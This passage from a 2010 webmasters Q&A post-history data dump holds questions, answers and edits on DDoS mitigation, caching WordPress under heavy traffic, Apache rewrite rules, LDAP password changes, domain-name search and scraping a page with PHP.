  <row Id="5823" PostHistoryTypeId="1" PostId="2972" RevisionGUID="fef538e9-834d-415f-b5e7-cb13fcf753fd" CreationDate="2010-09-12T09:48:33.730" UserId="1943" Text="Blog, News, Slashdot effects &amp; Video..." />
  <row Id="5824" PostHistoryTypeId="3" PostId="2972" RevisionGUID="fef538e9-834d-415f-b5e7-cb13fcf753fd" CreationDate="2010-09-12T09:48:33.730" UserId="1943" Text="&lt;web-hosting&gt;&lt;vps&gt;&lt;video&gt;" />
  <row Id="5825" PostHistoryTypeId="5" PostId="2963" RevisionGUID="98cd0398-0c0a-4f95-bbde-24aefbf11268" CreationDate="2010-09-12T10:41:21.017" UserId="480" Comment="deleted 1 characters in body; added 67 characters in body; added 4 characters in body" Text="Try some of the QoS settings now available for either:&#xD;&#xA;&#xD;&#xA;* the firewall(s)&#xD;&#xA;* the http server&#xD;&#xA;* the load balancers&#xD;&#xA;* any OS *global* settings&#xD;&#xA;&#xD;&#xA;There are many types of (D)DoS attacks that may happen. The situation you have described is limited due to it only coming from one source, multiply that in a distributed attack and a per client limit can be avoided. Another attack could try and cause a memory overflow by filling the state information rapidly. More attacks exist, such as [Slowloris][1] so it makes sense to defend yourself holistically.&#xD;&#xA;&#xD;&#xA;We like to use L7 firewalls on Linux (regex on packets) and weigh the clients by how often they honour Last-Modified &amp; Etags, alongside other &quot;good behaviour&quot; (faster request times, larger MTUs, persistent connections, etc). You can always throw a Captcha, or artificially delay the response on a single connection with a backoff timer (1 second delay, 2 second delay, 4 second delay, etc). The trick here was to limit by connection (not the IP address, referrer, user agent or some combination thereof).&#xD;&#xA;&#xD;&#xA;A future project will be to use the Intrusion Detection system to configure the rate limiting.&#xD;&#xA;&#xD;&#xA;HTML 5's [cache manifest][2] will effectively disable server load during a F5 refresh and there is always Google Gears.&#xD;&#xA;&#xD;&#xA;  [1]: http://ha.ckers.org/slowloris/&#xD;&#xA;  [2]: http://www.w3.org/TR/html5/offline.html" />
  <row Id="5826" PostHistoryTypeId="2" PostId="2973" RevisionGUID="eb8a5273-05c5-4649-8074-34b582802a38" CreationDate="2010-09-12T12:26:38.527" UserId="233" Text="I was just looking at Google Website Optimizer, however you need a 'conversion' page in order to measure results. If trying to optimize ad positions, this doesn't appear to be possible.&#xD;&#xA;&#xD;&#xA;Even without GWO I can't see a way to track clicks in Adsense, any ideas?" />
  <row Id="5827" PostHistoryTypeId="1" PostId="2973" RevisionGUID="eb8a5273-05c5-4649-8074-34b582802a38" CreationDate="2010-09-12T12:26:38.527" UserId="233" Text="Is it possible to do A/B testing with Adsense ad positions?" />
  <row Id="5828" PostHistoryTypeId="3" PostId="2973" RevisionGUID="eb8a5273-05c5-4649-8074-34b582802a38" CreationDate="2010-09-12T12:26:38.527" UserId="233" Text="&lt;google-adsense&gt;&lt;ab-testing&gt;" />
  <row Id="5829" PostHistoryTypeId="2" PostId="2974" RevisionGUID="a14ceb2c-5c9a-47c6-9566-9967dd1aeab4" CreationDate="2010-09-12T13:12:34.817" UserId="1857" Text="I'm not entirely sure this question is right for this site; but I'll have a go at it.&#xD;&#xA;&#xD;&#xA;First off, I would use a value-adding commercial-use streaming video service that includes a CDN. There are several -- [Wistia][1], [Bits on the Run][2], [Brightcove][3], [Viddler][4] and many others. Research which provider to use carefully; you want someone who can deliver fast video to your entire (global?) user base. Generally these services will:&#xD;&#xA;&#xD;&#xA; - simplify your work greatly (by handling encoding, player embedding code etc for you).&#xD;&#xA; - offer good statistics/reporting on playback.&#xD;&#xA; - offer fast streaming video optimized CDN delivery of your content.&#xD;&#xA;&#xD;&#xA;**For the site itself, caching is the key to surviving a Slashdotting** on Wordpress. WP 'static page' plugins such as [WP Super Cache][5] help a lot.&#xD;&#xA;&#xD;&#xA;If that's not enough, to go really fast you want an in-RAM reverse HTTP proxy (a.k.a. HTTP accelerator) in front of your Wordpress application server. Unfortunately caching Wordpress pages isn't that easy, as Wordpress uses cookies a lot, and strictly speaking cookie'd pages may not be cache-able. Varnish Cache has some decent [docs describing Wordpress' cookies][6], and how to mitigate this if you're using Varnish as your reverse proxy.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://wistia.com/&#xD;&#xA;  [2]: http://www.bitsontherun.com/&#xD;&#xA;  [3]: http://www.Brightcove.com&#xD;&#xA;  [4]: http://www.viddler.com/&#xD;&#xA;  [5]: http://wordpress.org/extend/plugins/wp-super-cache/&#xD;&#xA;  [6]: http://www.varnish-cache.org/trac/wiki/VarnishAndWordpress" />
  <row Id="5830" PostHistoryTypeId="2" PostId="2975" RevisionGUID="d3e7c2a5-4cda-4010-bb2a-2ec10489bd58" CreationDate="2010-09-12T14:22:27.933" UserId="2020" Text="I've recently enabled LDAP based authentication on my domain. This has allowed us to use a single set of credentials to administer the blog, the forum and the wiki.&#xD;&#xA;&#xD;&#xA;Unfortunately, this has come at the cost of users being able to change their own passwords.&#xD;&#xA;&#xD;&#xA;Ideally, users would be able to visit a page (i.e. `mydomain.com/account`), authenticate and then change their password.&#xD;&#xA;&#xD;&#xA;Does anyone know of a script or app that will allow me to do this quickly and easily? I guess it wouldn't be hard to write in PHP, but I'd prefer not to have the hassle." />
  <row Id="5831" PostHistoryTypeId="1" PostId="2975" RevisionGUID="d3e7c2a5-4cda-4010-bb2a-2ec10489bd58" CreationDate="2010-09-12T14:22:27.933" UserId="2020" Text="Is there an app/script I can deploy to enable my users to change their own LDAP passwords?" />
  <row Id="5832" PostHistoryTypeId="3" PostId="2975" RevisionGUID="d3e7c2a5-4cda-4010-bb2a-2ec10489bd58" CreationDate="2010-09-12T14:22:27.933" UserId="2020" Text="&lt;ldap&gt;" />
  <row Id="5833" PostHistoryTypeId="5" PostId="2974" RevisionGUID="ca47278b-2c40-422b-a837-44d6ea54b36a" CreationDate="2010-09-12T14:50:55.963" UserId="1857" Comment="added 389 characters in body" Text="I'm not entirely sure this question is right for this site; but I'll have a go at it.&#xD;&#xA;&#xD;&#xA;First off, I would use a value-adding commercial-use streaming video service that includes a CDN. There are several -- [Wistia][1], [Bits on the Run][2], [Brightcove][3], [Viddler][4] and many others. Research which provider to use carefully; you want someone who can deliver fast video to your entire (global?) user base. Generally these services will:&#xD;&#xA;&#xD;&#xA; - simplify your work greatly (by handling encoding, player embedding code etc for you).&#xD;&#xA; - offer good statistics/reporting on playback.&#xD;&#xA; - offer fast streaming video optimized CDN delivery of your content.&#xD;&#xA;&#xD;&#xA;**Regarding video CDN:**&#xD;&#xA;&#xD;&#xA;&gt; We think to use Amazon CloudFront for this.&#xD;&#xA;&#xD;&#xA;That could work. Be sure to understand the difference between putting a video file on HTTP, true [video streaming][5], and [pseudostreaming][6]. Pick a CDN that supports what you need here.&#xD;&#xA;&#xD;&#xA;**For the site itself, caching is the key to surviving a Slashdotting** on Wordpress. WP 'static page' plugins such as [WP Super Cache][7] help a lot.&#xD;&#xA;&#xD;&#xA;If that's not enough, to go really fast you want an in-RAM reverse HTTP proxy (a.k.a. HTTP accelerator) in front of your Wordpress application server. Unfortunately caching Wordpress pages isn't that easy, as Wordpress uses cookies a lot, and strictly speaking cookie'd pages may not be cache-able. Varnish Cache has some decent [docs describing Wordpress' cookies][8], and how to mitigate this if you're using Varnish as your reverse proxy.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://wistia.com/&#xD;&#xA;  [2]: http://www.bitsontherun.com/&#xD;&#xA;  [3]: http://www.Brightcove.com&#xD;&#xA;  [4]: http://www.viddler.com/&#xD;&#xA;  [5]: http://aws.amazon.com/cloudfront/#details&#xD;&#xA;  [6]: http://flowplayer.org/plugins/streaming/pseudostreaming.html&#xD;&#xA;  [7]: http://wordpress.org/extend/plugins/wp-super-cache/&#xD;&#xA;  [8]: http://www.varnish-cache.org/trac/wiki/VarnishAndWordpress" />
  <row Id="5834" PostHistoryTypeId="5" PostId="2974" RevisionGUID="9b1ceb1e-ab67-41ed-bfee-4dd91ab47a7c" CreationDate="2010-09-12T15:03:32.777" UserId="1857" Comment="added 189 characters in body" Text="I'm not entirely sure this question is right for this site; but I'll have a go at it.&#xD;&#xA;&#xD;&#xA;First off, I would use a value-adding commercial-use streaming video service that includes a CDN. There are several -- [Wistia][1], [Bits on the Run][2], [Brightcove][3], [Viddler][4] and many others. Research which provider to use carefully; you want someone who can deliver fast video to your entire (global?) user base. Generally these services will:&#xD;&#xA;&#xD;&#xA; - simplify your work greatly (by handling encoding, player embedding code etc for you).&#xD;&#xA; - offer good statistics/reporting on playback.&#xD;&#xA; - offer fast streaming video optimized CDN delivery of your content.&#xD;&#xA;&#xD;&#xA;**Regarding video CDN:**&#xD;&#xA;&#xD;&#xA;&gt; We think to use Amazon CloudFront for this.&#xD;&#xA;&#xD;&#xA;That could work. Be sure to understand the difference between putting a video file on HTTP, true [video streaming][5], and [pseudostreaming][6]. If you choose to handle video streaming yourself (that's perfectly reasonable), then pick a CDN that supports what you need and [integrates well with your player][7].&#xD;&#xA;&#xD;&#xA;**For the site itself, caching is the key to surviving a Slashdotting** on Wordpress. WP 'static page' plugins such as [WP Super Cache][8] help a lot.&#xD;&#xA;&#xD;&#xA;If that's not enough, to go really fast you want an in-RAM reverse HTTP proxy (a.k.a. HTTP accelerator) in front of your Wordpress application server. Unfortunately caching Wordpress pages isn't that easy, as Wordpress uses cookies a lot, and strictly speaking cookie'd pages may not be cache-able. Varnish Cache has some decent [docs describing Wordpress' cookies][9], and how to mitigate this if you're using Varnish as your reverse proxy.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://wistia.com/&#xD;&#xA;  [2]: http://www.bitsontherun.com/&#xD;&#xA;  [3]: http://www.Brightcove.com&#xD;&#xA;  [4]: http://www.viddler.com/&#xD;&#xA;  [5]: http://aws.amazon.com/cloudfront/#details&#xD;&#xA;  [6]: http://flowplayer.org/plugins/streaming/pseudostreaming.html&#xD;&#xA;  [7]: http://webmasters.stackexchange.com/questions/tagged/video&#xD;&#xA;  [8]: http://wordpress.org/extend/plugins/wp-super-cache/&#xD;&#xA;  [9]: http://www.varnish-cache.org/trac/wiki/VarnishAndWordpress" />
  <row Id="5835" PostHistoryTypeId="5" PostId="2974" RevisionGUID="0751027d-1d1c-478e-8e9b-d43f011a67c5" CreationDate="2010-09-12T15:08:44.803" UserId="1857" Comment="added 57 characters in body" Text="I'm not entirely sure this question is right for this site; but I'll have a go at it.&#xD;&#xA;&#xD;&#xA;First off, I would use a value-adding commercial-use streaming video service that includes a CDN. There are several -- [Wistia][1], [Bits on the Run][2], [Brightcove][3], [Viddler][4] and many others. Research which provider to use carefully; you want someone who can deliver fast video to your entire (global?) user base. Generally these services will:&#xD;&#xA;&#xD;&#xA; - simplify your work greatly (by handling encoding, player embedding code etc for you).&#xD;&#xA; - offer good statistics/reporting on playback.&#xD;&#xA; - offer fast streaming video optimized CDN delivery of your content.&#xD;&#xA;&#xD;&#xA;**Regarding video CDN:**&#xD;&#xA;&#xD;&#xA;&gt; We think to use Amazon CloudFront for this.&#xD;&#xA;&#xD;&#xA;That could work. Be sure to understand the difference between putting a video file on HTTP, true [video streaming][5], and [pseudostreaming][6]. If you choose to handle video streaming yourself (which can be a perfectly reasonable choice), then pick a CDN that supports what you need and [integrates well with your player][7].&#xD;&#xA;&#xD;&#xA;**For the site itself, caching is the key to surviving a Slashdotting** on Wordpress. WP 'static page' plugins such as [WP Super Cache][8] help a lot.&#xD;&#xA;&#xD;&#xA;If that's not enough, to go really fast you want an in-RAM reverse HTTP proxy (a.k.a. HTTP accelerator) in front of your Wordpress application server. Unfortunately caching Wordpress pages isn't that easy, as Wordpress uses cookies a lot, and strictly speaking cookie'd pages may not be cache-able. Varnish Cache has some decent [docs describing Wordpress' cookies][9], and how to mitigate this if you're using Varnish as your reverse proxy.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://wistia.com/&#xD;&#xA;  [2]: http://www.bitsontherun.com/&#xD;&#xA;  [3]: http://www.Brightcove.com&#xD;&#xA;  [4]: http://www.viddler.com/&#xD;&#xA;  [5]: http://en.wikipedia.org/wiki/Comparison_of_streaming_media_systems#Protocol_support&#xD;&#xA;  [6]: http://flowplayer.org/plugins/streaming/pseudostreaming.html&#xD;&#xA;  [7]: http://webmasters.stackexchange.com/questions/tagged/video&#xD;&#xA;  [8]: http://wordpress.org/extend/plugins/wp-super-cache/&#xD;&#xA;  [9]: http://www.varnish-cache.org/trac/wiki/VarnishAndWordpress" />
  <row Id="5836" PostHistoryTypeId="5" PostId="2267" RevisionGUID="7857c2d7-18b4-4fbf-af19-86961d742f0b" CreationDate="2010-09-12T15:27:58.137" UserId="1429" Comment="added 163 characters in body" Text="I thought frame and iframe are something bad for SEO.&#xD;&#xA;&#xD;&#xA;Today I was doing some search and **searching for &quot;numismatica&quot; in Google.it** and the 3rd site is **www.lemonete.com** (ranks high also in Google.com).&#xD;&#xA;**It's all made with frames.**&#xD;&#xA;&#xD;&#xA;A competitor site (www.nummus.com) that is all done with no frames ranks much lower when searching for the same word: &quot;numismatica&quot;&#xD;&#xA;&#xD;&#xA;So can we use frame, don't they hit SEO ranking anymore?&#xD;&#xA;Any explanation (possibly simple) would be appreciated also about the fact the 2nd site ranks much lower. :)&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;UPDATE: thanks for all the replies , I noticed now I wrote down the wrong url, it was not lemonete.it (which is just a spam site) but lemonete.com." />
  <row Id="5837" PostHistoryTypeId="2" PostId="2976" RevisionGUID="d1b70a9b-14b8-4c6d-a335-68252860981e" CreationDate="2010-09-12T17:03:05.237" UserId="1946" Text="One option would be to set up multiple channels for each site, and then use those channels for your split testing.&#xD;&#xA;&#xD;&#xA;Earnings on a particular page in analytics could be somehow done if you add a parameter to one version of the page depending on your frameowrk and how you are modifying the pages themselves for the test.&#xD;&#xA;I am not quite sure how the different channels would work in analyics...&#xD;&#xA;&#xD;&#xA;It might be a little easier using Reedge.com as you might find it easier doing the split testing." />
  <row Id="5838" PostHistoryTypeId="2" PostId="2977" RevisionGUID="025d118b-8f35-44c5-a0ba-4b36aece657b" CreationDate="2010-09-12T18:46:49.967" UserId="233" Text="I have this in my .htaccess file:&#xD;&#xA;&#xD;&#xA;    RewriteEngine on&#xD;&#xA;&#xD;&#xA;    RewriteRule ^images/chart\.png$    /static/images/chart.png    [L,R=301]&#xD;&#xA;    RewriteRule ^images/artwork/(.+).png   /static/artwork/$1.jpg  [L,R=301]&#xD;&#xA;&#xD;&#xA;    # codeigniter&#xD;&#xA;    RewriteCond $1 !^(index\.php|static|images|admin|user_guide|sitemap\.xml\.gz|robots\.txt)&#xD;&#xA;    RewriteRule ^(.*)$ /index.php/$1 [L]&#xD;&#xA;&#xD;&#xA;The CodeIgniter part should ignore the images and static folders. However, when I open mysite.com/images/chart.png I get the CI 404 page. The other 301 redirect is working fine.&#xD;&#xA;&#xD;&#xA;Can't fathom this one out, does anyone have any idea?" />
  <row Id="5839" PostHistoryTypeId="1" PostId="2977" RevisionGUID="025d118b-8f35-44c5-a0ba-4b36aece657b" CreationDate="2010-09-12T18:46:49.967" UserId="233" Text="Apache RewriteRule not redirecting" />
  <row Id="5840" PostHistoryTypeId="3" PostId="2977" RevisionGUID="025d118b-8f35-44c5-a0ba-4b36aece657b" CreationDate="2010-09-12T18:46:49.967" UserId="233" Text="&lt;redirects&gt;&lt;htaccess&gt;" />
  <row Id="5841" PostHistoryTypeId="5" PostId="2112" RevisionGUID="5bb8b511-9c37-4118-8d4c-0434e25119c5" CreationDate="2010-09-12T18:52:01.950" UserId="233" Comment="added 49 characters in body" Text="The real answer is to use whatever suits your site best. Some facts:&#xD;&#xA;&#xD;&#xA;* Keywords in the URL aid SEO and give users an idea of what the page is about. This is true for both static *and* dynamic URLs.&#xD;&#xA;* The consensus is that a lowercase slug, separated by dashes, is the best.&#xD;&#xA;* Search engines index dynamic URIs (e.g. `index.php?page=about`) just fine.&#xD;&#xA;* Using ID numbers in URLs is much easier/faster for grabbing the content from the database.&#xD;&#xA;* Search Engines prefer unique URLs, so it's best to avoid having parts of the URL with no bearing on what is displayed if possible.&#xD;&#xA;* Use [rel=&quot;canonical&quot;][1] if you can't avoid possible duplicates. `example.com/1234/my-page` in theory should be different to `example.com/1234/my-pgae` but for most practical purposes they end up returning the same content, like on this site.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://googlewebmastercentral.blogspot.com/2009/02/specify-your-canonical.html" />
  <row Id="5842" PostHistoryTypeId="2" PostId="2978" RevisionGUID="9bd647dc-f0af-4cc8-9e99-fb45e2fcc407" CreationDate="2010-09-12T19:29:17.010" UserId="106" Text="**Good support.**  Not necessarily paid support mind you, a community can do just as well, but a webmaster should never be stuck on their own to sort out a problem.  In it's a hosted solution this is even more important.  In my experience nothing is worse that being dependent on a small group of people you don't trust during a crisis." />
  <row Id="5843" PostHistoryTypeId="16" PostId="2978" RevisionGUID="9bd647dc-f0af-4cc8-9e99-fb45e2fcc407" CreationDate="2010-09-12T19:29:17.010" UserId="-1" />
  <row Id="5845" PostHistoryTypeId="5" PostId="2970" RevisionGUID="2b4ef852-202e-424a-9242-16f6f703f0a7" CreationDate="2010-09-12T23:01:42.280" UserId="1253" Comment="corrected code" Text="You won't be able to manipulate the URL to get only a portion of the page. So what you'll want to do is grab the page contents via the server-side language of your choice and then parse the HTML. From there you can grab the specific DIV you are looking for and then print that out to your screen. You could also use to remove unwanted content.&#xD;&#xA;&#xD;&#xA;With PHP you could use [`file_get_contents()`][1] to read the file you want to parse and then use [DOMDocument][2] to parse it and grab the DIV you want.&#xD;&#xA;&#xD;&#xA;Here's the basic idea. This is untested but should point you in the right direction:&#xD;&#xA;&#xD;&#xA;    $page = file_get_contents('http://www.example.com/');&#xD;&#xA;    $doc = new DOMDocument();&#xD;&#xA;    $doc-&gt;loadHTML($page);&#xD;&#xA;    $divs = $doc-&gt;getElementsByTagName('div');&#xD;&#xA;    foreach($divs as $div) {&#xD;&#xA;        // Look for something that shows you this is the proper DIV. &#xD;&#xA;        // If so, do whatever you want with it.&#xD;&#xA;        // For now just print out the contents &#xD;&#xA;        echo $div-&gt;nodeValue;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://us3.php.net/manual/en/function.file-get-contents.php&#xD;&#xA;  [2]: http://us2.php.net/manual/en/class.domdocument.php" />
  <row Id="5846" PostHistoryTypeId="4" PostId="2961" RevisionGUID="08a122e7-7f8a-4398-97bd-9698bb5d1680" CreationDate="2010-09-13T00:10:26.143" UserId="138" Comment="edited title" Text="What do webmasters need most in a CMS?" />
  <row Id="5847" PostHistoryTypeId="2" PostId="2979" RevisionGUID="637b9fd0-039b-4366-bbfc-0ae90abbe4ea" CreationDate="2010-09-13T00:26:21.777" UserId="1454" Text="What's happening here is that your rewrite is actually working, but the R=301 is causing a second iteration which causes the 404.&#xD;&#xA;&#xD;&#xA;The request comes in for `images/chart.png` and your rewrite rules go to work. When it matches on your first rule, it causes a 301 redirect. This 301 redirect tells the browser to issue a *new request* for `/static/images/chart.png`.&#xD;&#xA;&#xD;&#xA;So the new request makes it to your server, and the rewrite rules are executed again. This time, the request doesn't match your custom rules at the top and makes it into the CodeIgniter rule. Since your new URL begins with &quot;static&quot;, it matches the CI rule and redirects to `/index.php?/static/images/chart.png`. Since CI doesn't have a clue how to handle this (I assume), it tosses out the 404 to inform the user it can't find the resource.&#xD;&#xA;&#xD;&#xA;What you're going to want to do is to update the CI rule to add the following conditions:&#xD;&#xA;&#xD;&#xA;    RewriteCond %{REQUEST_FILENAME} !-f&#xD;&#xA;    RewriteCond %{REQUEST_FILENAME} !-d&#xD;&#xA;&#xD;&#xA;This will tell mod_rewrite to only execute the rule if the request isn't for a literally existing file (`!-f`) or directory (`!-d`).&#xD;&#xA;&#xD;&#xA;Once this update is made, the first rule will cause the same redirect for `/static/images/chart.png` but since that file literally exists at that path, the CI rules will leave it alone, and no new rewriting will be done. The server will then serve up the image normally." />
  <row Id="5848" PostHistoryTypeId="2" PostId="2980" RevisionGUID="9ff3927e-a315-48e9-b9c2-1187e9a9a1a2" CreationDate="2010-09-13T02:25:00.673" UserId="693" Text="I was wondering if there is a website where I can browse trough available domain names. &#xD;&#xA;&#xD;&#xA;I often create new websites and getting a good name is always a pain. Because when I settle for a good name the domain is almost always taken.&#xD;&#xA;&#xD;&#xA;While browsing trough them you can get some inspiration, and see if they are free also." />
  <row Id="5849" PostHistoryTypeId="1" PostId="2980" RevisionGUID="9ff3927e-a315-48e9-b9c2-1187e9a9a1a2" CreationDate="2010-09-13T02:25:00.673" UserId="693" Text="Website where I can browse domain names" />
  <row Id="5850" PostHistoryTypeId="3" PostId="2980" RevisionGUID="9ff3927e-a315-48e9-b9c2-1187e9a9a1a2" CreationDate="2010-09-13T02:25:00.673" UserId="693" Text="&lt;domain-names&gt;" />
  <row Id="5851" PostHistoryTypeId="2" PostId="2981" RevisionGUID="0791b264-311d-4ee1-802d-9c933246d457" CreationDate="2010-09-13T02:33:57.577" UserId="1253" Text="Pretty much any registrar worth their salt will suggest similar domain name whenever you do a domain search on their website. They usually append things like &quot;online&quot; or append &quot;e&quot; to them but they also do recommend decent names on occasion as well. That's the closet thing I've seen to what you are looking for. (Not including domain auctions but those technically aren't freely available)." />
  <row Id="5852" PostHistoryTypeId="5" PostId="2969" RevisionGUID="a96e6dea-11b2-4555-9cd8-114618b8c366" CreationDate="2010-09-13T03:18:02.620" UserId="1939" Comment="added 605 characters in body" Text="I have this project i'm working on and id like to add a really small list of nearby places using facebooks places in an iframe feature from touch.facebook.com I can easily just use touch.facebook.com/#places.php but then that loads the top bars. &#xD;&#xA;&#xD;&#xA;Anyway, is there a way I could manipulate the URL so that it will only load the places content rather than having the top and bottom menu bars. After looking at the code it looks like there is a div id=content&quot; I was thinking maybe there was a way to make the url so that it will only load that div? I also tried making a url that might just jump down to content using touch.facebook.com/#places.php#content but apparently with that way touch.facebook.com was built that doesn't work. But really i'd rather figure out a way to just load the content. Ay ideas? thanks!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;edit:&#xD;&#xA;I went ahead and tried this&#xD;&#xA;&#xD;&#xA;    &lt;?php&#xD;&#xA;    $page = file_get_contents('http://touch.facebook.com');&#xD;&#xA;    $doc = new DOMDocument();&#xD;&#xA;    $doc-&gt;loadHTML($page);&#xD;&#xA;    $divs = $doc-&gt;getElementsByTagName('div');&#xD;&#xA;    foreach($divs as $div) {&#xD;&#xA;        #&lt;div id=&quot;content'&gt;    &#xD;&#xA;        echo $div-&gt;nodeValue;&#xD;&#xA;    }&#xD;&#xA;    ?&gt;&#xD;&#xA;&#xD;&#xA;and all it does is display some random text from the site, &#xD;&#xA;&#xD;&#xA;&quot;Email or Phone:Password:LoginEmail or Phone:Password:Sign upForgot your password?Full siteSign upForgot your password?Full siteFull site&quot;&#xD;&#xA;&#xD;&#xA;Sorry really new to php, trying to understand it. any suggestions?" />
  <row Id="5854" PostHistoryTypeId="5" PostId="2969" RevisionGUID="7cd1d744-b1c1-4a23-a1d6-c335f8547266" CreationDate="2010-09-13T03:27:41.623" UserId="1939" Comment="edited body" Text="I have this project i'm working on and id like to add a really small list of nearby places using facebooks places in an iframe feature from touch.facebook.com I can easily just use touch.facebook.com/#places.php but then that loads the top bars. &#xD;&#xA;&#xD;&#xA;Anyway, is there a way I could manipulate the URL so that it will only load the places content rather than having the top and bottom menu bars. After looking at the code it looks like there is a div id=content&quot; I was thinking maybe there was a way to make the url so that it will only load that div? I also tried making a url that might just jump down to content using touch.facebook.com/#places.php#content but apparently with that way touch.facebook.com was built that doesn't work. But really i'd rather figure out a way to just load the content. Ay ideas? thanks!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;edit:&#xD;&#xA;I went ahead and tried this&#xD;&#xA;&#xD;&#xA;    &lt;?php&#xD;&#xA;    $page = file_get_contents('http://touch.facebook.com');&#xD;&#xA;    $doc = new DOMDocument();&#xD;&#xA;    $doc-&gt;loadHTML($page);&#xD;&#xA;    $divs = $doc-&gt;getElementsByTagName('div');&#xD;&#xA;    foreach($divs as $div) {&#xD;&#xA;        #&lt;div id=&quot;content&quot;&gt;    &#xD;&#xA;        echo $div-&gt;nodeValue;&#xD;&#xA;    }&#xD;&#xA;    ?&gt;&#xD;&#xA;&#xD;&#xA;and all it does is display some random text from the site, &#xD;&#xA;&#xD;&#xA;&quot;Email or Phone:Password:LoginEmail or Phone:Password:Sign upForgot your password?Full siteSign upForgot your password?Full siteFull site&quot;&#xD;&#xA;&#xD;&#xA;Sorry really new to php, trying to understand it. any suggestions?" />
  <row Id="5855" PostHistoryTypeId="2" PostId="2982" RevisionGUID="2d8832bb-d5c8-4044-b862-bf2cd8e39960" CreationDate="2010-09-13T06:22:48.793" UserId="576" Text="The page you are trying to access requires authentication. You were probably looking at the data that you wanted after you signed in. That is the reason why when you tried to scrape the page programmatically, it shows the login page's content. &#xD;&#xA;&#xD;&#xA;Instead of using this scraping approach, you could check if the info you need can be extracted programmatically using [Facebook's APIs][1]    &#xD;&#xA;&#xD;&#xA;On a related note, you could use [YQL][2] to fetch a portion of any webpage on a public site. However in your case, it may not work as the page you are trying to access requires authentication.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://developers.facebook.com/docs/&#xD;&#xA;  [2]: http://www.wait-till-i.com/2010/01/10/loading-external-content-with-ajax-using-jquery-and-yql/" />
  <row Id="5856" PostHistoryTypeId="2" PostId="2983" RevisionGUID="8226cd75-b169-4dc8-81a8-b19777b9ce99" CreationDate="2010-09-13T06:51:29.483" UserId="1509" Text="I've found this site: &#xD;&#xA;&#xD;&#xA;    http://www.namestation.com/&#xD;&#xA;&#xD;&#xA;Helpful in generating domain names, and it checks if they are available too." />
  <row Id="5857" PostHistoryTypeId="2" PostId="2984" RevisionGUID="64fa3276-8d16-4b61-b578-f6f9868451a9" CreationDate="2010-09-13T11:27:37.177" UserId="233" Text="I managed to fix this myself in the end by removing the images directory from the CI `RewriteCond` clause. (Still not 100% sure why that worked because the request for `images/chart.png` shouldn't have even got to the CI part.)" />
  <row Id="5858" PostHistoryTypeId="2" PostId="2985" RevisionGUID="8fb236e1-a670-44a0-9f56-ee56395795bf" CreationDate="2010-09-13T11:34:41.960" UserId="1955" Text="As John stated most domain sellers have such tools, I use http://www.godaddy.com/ and find it satisfying. You can also try some sites for expired(expiring) domains like http://www.registercompass.com/.&#xD;&#xA;&#xD;&#xA;Good luck with the search." />
  <row Id="5859" PostHistoryTypeId="2" PostId="2986" RevisionGUID="5fde7906-0b14-4643-a529-a06507b923ff" CreationDate="2010-09-13T11:35:58.490" UserId="1894" Text="Discussions of web standards frequently describe their official definitions as &quot;impenetrable&quot;, &quot;confusing&quot; and &quot;messy&quot;, almost as if this is self-evident. I can't remember having seen a web specification praised for it's clarity. I'm interested whether the community thinks this is justified. &#xD;&#xA;&#xD;&#xA;Which web standard specs have you had cause to refer to and have found inaccessibly defined or written? How would you improve them?&#xD;&#xA;&#xD;&#xA;Or, which have you found to be clear and helpful?&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;Fitting with the theme:&#xD;&#xA;&#xD;&#xA;Answers SHOULD cover one specification only.&#xD;&#xA;&#xD;&#xA;Constructive criticism, linking to the spec in question and quoting examples are RECOMMENDED." />
  <row Id="5860" PostHistoryTypeId="1" PostId="2986" RevisionGUID="5fde7906-0b14-4643-a529-a06507b923ff" CreationDate="2010-09-13T11:35:58.490" UserId="1894" Text="Which web standard definitions could be clearer and how?" />
  <row Id="5861" PostHistoryTypeId="3" PostId="2986" RevisionGUID="5fde7906-0b14-4643-a529-a06507b923ff" CreationDate="2010-09-13T11:35:58.490" UserId="1894" Text="&lt;standards&gt;" />
  <row Id="5862" PostHistoryTypeId="16" PostId="2986" RevisionGUID="5fde7906-0b14-4643-a529-a06507b923ff" CreationDate="2010-09-13T11:35:58.490" UserId="1894" />
  <row Id="5863" PostHistoryTypeId="2" PostId="2987" RevisionGUID="8191ece7-2971-4606-a317-cbb2c8708296" CreationDate="2010-09-13T13:04:35.437" UserId="80" Text="My registrar of choice, [DirectNIC][1], has a similar search option which will make generally meaningful suggestions regarding available domains based on searches other people have run in the past, expired domains, etc.  They will also suggest taken names that are available for sale if you have some coin to spend.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.directnic.com/" />
  <row Id="5864" PostHistoryTypeId="5" PostId="2970" RevisionGUID="3695000e-4eec-4a99-bff5-4f858f8f7a80" CreationDate="2010-09-13T14:13:28.977" UserId="1253" Comment="added 31 characters in body; added 241 characters in body" Text="You won't be able to manipulate the URL to get only a portion of the page. So what you'll want to do is grab the page contents via the server-side language of your choice and then parse the HTML. From there you can grab the specific DIV you are looking for and then print that out to your screen. You could also use to remove unwanted content.&#xD;&#xA;&#xD;&#xA;With PHP you could use [`file_get_contents()`][1] to read the file you want to parse and then use [DOMDocument][2] to parse it and grab the DIV you want.&#xD;&#xA;&#xD;&#xA;Here's the basic idea. This is untested but should point you in the right direction:&#xD;&#xA;&#xD;&#xA;    $page = file_get_contents('http://www.example.com/');&#xD;&#xA;    $doc = new DOMDocument();&#xD;&#xA;    $doc-&gt;loadHTML($page);&#xD;&#xA;    $divs = $doc-&gt;getElementsByTagName('div');&#xD;&#xA;    foreach($divs as $div) {&#xD;&#xA;        // Loop through the DIVs looking for one withan id of &quot;content&quot;&#xD;&#xA;        // Then echo out its contents (pardon the pun)&#xD;&#xA;        if ($div-&gt;getAttribute('id') === 'content') {&#xD;&#xA;             echo $div-&gt;nodeValue;&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA; &#xD;&#xA;FYI, based on the output you show in your example, it does look like you do need to authenticate yourself first before you can reach the content you want. This 